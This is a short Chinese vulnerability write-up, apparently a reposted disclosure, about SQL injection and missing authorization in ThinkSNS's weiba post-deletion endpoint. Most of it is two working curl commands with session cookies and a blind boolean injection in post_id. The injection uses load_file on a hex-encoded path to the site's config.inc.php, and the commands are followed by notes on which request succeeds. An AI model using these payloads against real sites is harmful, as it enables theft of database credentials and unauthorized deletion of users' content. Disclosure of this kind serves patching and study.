ThinkSNS SQL注入及越权
微吧帖子任意删除, 存在注入
\apps\weiba\Lib\Action\GroupAction.class.php
很明显有问题,
利用:
curl -A "Shockwave Flash" -b "CNZZDATA1702264=cnzz_eid%3D861385407-1376532587-http%253A%252F%252Fwww.th.com%26ntime%3D1379037339%26cnzz_a%3D9%26retime%3D1379037377530%26sin%3Dnone%26ltime%3D1379037377530%26rtime%3D2;PHPSESSID=3a353d4b436d1b09ee22c704da6a5b6a; T3_TSV3_ACTIVE_TIME=1379500687; T3_online_update=1379498853; T3_lang=zh-cn; T3_TSV3_LOGGED_USER=bl" -d "post_id=1 and ascii(load_file(0x433A2F77616D702F7777772F74682F636F6E6669672F636F6E6669672E696E632E706870))>60" "http://www.th.com/index.php?app=weiba&mod=group&act=postDel"
删除post_id=1的帖子失败
curl -A "Shockwave Flash" -b "CNZZDATA1702264=cnzz_eid%3D861385407-1376532587-http%253A%252F%252Fwww.th.com%26ntime%3D1379037339%26cnzz_a%3D9%26retime%3D1379037377530%26sin%3Dnone%26ltime%3D1379037377530%26rtime%3D2;PHPSESSID=3a353d4b436d1b09ee22c704da6a5b6a; T3_TSV3_ACTIVE_TIME=1379500687; T3_online_update=1379498853; T3_lang=zh-cn; T3_TSV3_LOGGED_USER=bl" -d "post_id=1 and ascii(load_file(0x433A2F77616D702F7777772F74682F636F6E6669672F636F6E6669672E696E632E706870))>59" "http://www.th.com/index.php?app=weiba&mod=group&act=postDel"
删除成功
版权与免责声明:
凡注明稿件来源的内容均为转载稿或由网友用户注册发布,本网转载出于传递更多信息的目的;如转载稿涉及版权问题,请作者联系我们,同时对于用户评论等信息,本网并不意味着赞同其观点或证实其内容的真实性;